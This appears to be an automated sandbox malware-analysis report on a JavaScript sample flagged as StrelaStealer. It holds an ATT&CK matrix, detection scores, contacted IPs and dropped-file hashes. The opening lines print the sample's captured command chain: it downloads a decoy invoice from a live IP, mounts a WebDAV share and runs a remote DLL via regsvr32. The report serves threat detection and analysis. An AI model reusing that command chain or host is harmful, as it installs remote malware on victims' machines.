Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
321646101945257.js	8%	Virustotal		Browse
321646101945257.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3345219728.000002E2FBE11000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2130954000.000002E2FBC30000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2119154361.000001DE8AB58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/=	net.exe, 00000007.00000003.2118859710.000001DE8AB88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2119326515.000001DE8AB88000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588760
Start date and time:	2025-01-11 05:10:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	321646101945257.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 3.233.129.217, 3.219.243.226, 52.6.155.20, 52.22.41.97, 23.209.209.135, 2.22.50.131, 2.22.50.144, 184.28.90.27, 2.16.168.107, 2.16.168.105, 13.107.246.45, 4.175.87.197, 23.56.162.204, 52.149.20.212
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:11:20	API Interceptor	25x Sleep call for process: powershell.exe modified
23:11:24	API Interceptor	1x Sleep call for process: net.exe modified
23:11:25	API Interceptor	2x Sleep call for process: svchost.exe modified
23:11:33	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1012716259541818656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23858205001607627322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.830699098023082
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDuga:gJjJGtpTq2yv1AuNZRY3diu8iBVqF8
MD5:	430D2350C4237707829B4ED3E275B9EB
SHA1:	EC0B746CA1BBC933E1D414ACF1A2C17145D8FBBB
SHA-256:	0660E0308BE6294D3EF77AD2833C80254018BCE6830F49943DD7DBE09A0F6A39
SHA-512:	2ACFC58DAA4D7A24E564D496BCAC775B2DE31BC8FD25D94E012DE7F1FF2B2C1FB43A84A6A9F93687223B20E280A0D85390592FF01037C55071DA85FA30FE1972
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5640902f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585336571530281
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	C503039C624512F4C0BA2E366BA854D3
SHA1:	4F2BCBE3EDAE90FF6D07082CFADC62427C44C444
SHA-256:	40A982E10854EE5BB256EA7645983020C7DB0A2AFBD8CC7BD2C5DAF5C151A47A
SHA-512:	E1A7C7F63F72E6BB52802F8B49D9065084AA717FF5DA904DB805AF5AB0F0723EACB7552820BC40061E79EF3352B960071A939074B33DD4198FE25B8298CE7750
Malicious:	false
Preview:	V@./... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{.........................................}.................8{;......}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07893042477662927
Encrypted:	false
SSDEEP:	3:s0+lXKYeIglblekGuAJkhvekl1vy5l//AllrekGltll/SPj:s0+lXKzftrxlRyrAJe3l
MD5:	C9E9CB3E515DAABB37AF0D8AC1399BF8
SHA1:	70EA3A5A0D7A9AD4CED1B235D944F0DB5FC0000F
SHA-256:	D176193A672FD4D80B1F9B7AE69C91A7DC3C5423B2DA4F5EE020F7766FE8D60A
SHA-512:	02EB38A5287FE59E4F1CA4AC95DC3DF5CF23D475D26EF3CCBBB310132938A6FF876A1BB8ED059966E1312A61CD293F1DCC109E3D722167652361E60A6AA2D1D9
Malicious:	false
Preview:	........................................;...{.......}.......{...............{.......{...XL......{..................8{;......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1557048823730955
Encrypted:	false
SSDEEP:	6:iO4q5smMq2P92nKuAl9OmbnIFUtSq5sNZmwsq5s/kwO92nKuAl9OmbjLJ:78v4HAahFUtY/G5LHAaSJ
MD5:	6CDBF442B7E0E17122125CC804BBEA07
SHA1:	9F31702FE3694EF469F3F79962D1F8AD64811728
SHA-256:	AE6EB01B6DD3BD383BA135833993983C39F6AA77A257A314C2B7F13A35961604
SHA-512:	71C022EDC213451F398D7DDB32824AD5B61EF33D1FA0A900CC1CD040E763E487E2E1CEBED478F9C016C5D91EA1C8E02B7832797AA08EEA0A948C2EC5B3286BA0
Malicious:	false
Preview:	2025/01/10-23:11:26.005 1904 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:11:26.008 1904 Recovering log #3.2025/01/10-23:11:26.008 1904 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1557048823730955
Encrypted:	false
SSDEEP:	6:iO4q5smMq2P92nKuAl9OmbnIFUtSq5sNZmwsq5s/kwO92nKuAl9OmbjLJ:78v4HAahFUtY/G5LHAaSJ
MD5:	6CDBF442B7E0E17122125CC804BBEA07
SHA1:	9F31702FE3694EF469F3F79962D1F8AD64811728
SHA-256:	AE6EB01B6DD3BD383BA135833993983C39F6AA77A257A314C2B7F13A35961604
SHA-512:	71C022EDC213451F398D7DDB32824AD5B61EF33D1FA0A900CC1CD040E763E487E2E1CEBED478F9C016C5D91EA1C8E02B7832797AA08EEA0A948C2EC5B3286BA0
Malicious:	false
Preview:	2025/01/10-23:11:26.005 1904 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:11:26.008 1904 Recovering log #3.2025/01/10-23:11:26.008 1904 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.118132013088346
Encrypted:	false
SSDEEP:	6:iO4q5s828pDM+q2P92nKuAl9Ombzo2jMGIFUtSq5s/SgZmwsq5scUG6DMVkwO92g:7O+v4HAa8uFUtu/f/V5LHAa8RJ
MD5:	67EAF89DCDC38C097C0FDAF3940D9B95
SHA1:	47A2955C4CE872204F235330649D8E236E6E4D1F
SHA-256:	E1CF6B485AF3229CE3C5A3FAADCC003F2BD21D59D1AD27E0EC778044817C59B8
SHA-512:	9000E73D87FEF8314EAD5946DABB8F8F2E2A55A81845B2F23963E20ADA5C4F971324135B758D6D76BF2AC8B5B05DFBBC76FB95279635F81E789664813AD97100
Malicious:	false
Preview:	2025/01/10-23:11:26.037 1c1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:11:26.044 1c1c Recovering log #3.2025/01/10-23:11:26.045 1c1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.118132013088346
Encrypted:	false
SSDEEP:	6:iO4q5s828pDM+q2P92nKuAl9Ombzo2jMGIFUtSq5s/SgZmwsq5scUG6DMVkwO92g:7O+v4HAa8uFUtu/f/V5LHAa8RJ
MD5:	67EAF89DCDC38C097C0FDAF3940D9B95
SHA1:	47A2955C4CE872204F235330649D8E236E6E4D1F
SHA-256:	E1CF6B485AF3229CE3C5A3FAADCC003F2BD21D59D1AD27E0EC778044817C59B8
SHA-512:	9000E73D87FEF8314EAD5946DABB8F8F2E2A55A81845B2F23963E20ADA5C4F971324135B758D6D76BF2AC8B5B05DFBBC76FB95279635F81E789664813AD97100
Malicious:	false
Preview:	2025/01/10-23:11:26.037 1c1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:11:26.044 1c1c Recovering log #3.2025/01/10-23:11:26.045 1c1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2a758b88-8cda-4e51-94f0-a2882b06e819.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0412002451892475
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqwhsBdOg2Hpcaq3QYiubxnP7E4T3OF+:Y2sRdsWdMHQ3QYhbxP7nbI+
MD5:	7CF1FAC896AA3BC0DCF037D2337293E5
SHA1:	1ACDB4DA4B01FDC1E4DF8F7DA325F56B69F3014A
SHA-256:	EB763A62A526922FE2C5B708525ACEC82118A7A593DABB46F191374EC48DA600
SHA-512:	59F57B0247758A8316F643689E6F6D69CC71812E07EDBAD007A8AE50AFD3190C7CBD2EC6369E49B5CC7A45C420C0DEBB064BC6CA72F47FD6E0FEC55DA42D650C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128696819994","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124952},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.0412002451892475
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqwhsBdOg2Hpcaq3QYiubxnP7E4T3OF+:Y2sRdsWdMHQ3QYhbxP7nbI+
MD5:	7CF1FAC896AA3BC0DCF037D2337293E5
SHA1:	1ACDB4DA4B01FDC1E4DF8F7DA325F56B69F3014A
SHA-256:	EB763A62A526922FE2C5B708525ACEC82118A7A593DABB46F191374EC48DA600
SHA-512:	59F57B0247758A8316F643689E6F6D69CC71812E07EDBAD007A8AE50AFD3190C7CBD2EC6369E49B5CC7A45C420C0DEBB064BC6CA72F47FD6E0FEC55DA42D650C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128696819994","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124952},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237313575969401
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU7j9w4G:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLp
MD5:	319393ABCB9071AA4D8BDB4204C143E3
SHA1:	2C55B27E242C00ED4699CF85018AB71AD838B3CC
SHA-256:	1DB6EDEB886C25716104F272EC8828C8B6A4B89A4196AC1C8AE73226A033476E
SHA-512:	08427B2B33FFE25AD99F0B762C77C08FF76EA40B1061F8B0D1FA4771ECC0338AD643669DD88A12CE285A107AC6F6DE6BAEEFB58AF689F40960E9FE0CB60C370E
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.142922227681383
Encrypted:	false
SSDEEP:	6:iO4q5sw+DM+q2P92nKuAl9OmbzNMxIFUtSq5swRSgZmwsq5swq6DMVkwO92nKuAo:7b+v4HAa8jFUt//eV5LHAa84J
MD5:	C7B397431F82C0B58F31071357B24B77
SHA1:	D1825604E59F7F70C074764F047EFE08B7240FCB
SHA-256:	026D6AC0427CB6BBA2908F6B83AE3404EB1609F158E902C81AE00C78456B0AFB
SHA-512:	27EA57A1381D7757C5A8FDB4B78ED263FB91207610F85663D59DE1DBFFC9FDFAA6AE5F05DE4E5DAB6BA7E4AB7B0F9E5DBDBE5B547D3EE8BD51E455EE673E34CF
Malicious:	false
Preview:	2025/01/10-23:11:26.434 1c1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:11:26.436 1c1c Recovering log #3.2025/01/10-23:11:26.437 1c1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.142922227681383
Encrypted:	false
SSDEEP:	6:iO4q5sw+DM+q2P92nKuAl9OmbzNMxIFUtSq5swRSgZmwsq5swq6DMVkwO92nKuAo:7b+v4HAa8jFUt//eV5LHAa84J
MD5:	C7B397431F82C0B58F31071357B24B77
SHA1:	D1825604E59F7F70C074764F047EFE08B7240FCB
SHA-256:	026D6AC0427CB6BBA2908F6B83AE3404EB1609F158E902C81AE00C78456B0AFB
SHA-512:	27EA57A1381D7757C5A8FDB4B78ED263FB91207610F85663D59DE1DBFFC9FDFAA6AE5F05DE4E5DAB6BA7E4AB7B0F9E5DBDBE5B547D3EE8BD51E455EE673E34CF
Malicious:	false
Preview:	2025/01/10-23:11:26.434 1c1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:11:26.436 1c1c Recovering log #3.2025/01/10-23:11:26.437 1c1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
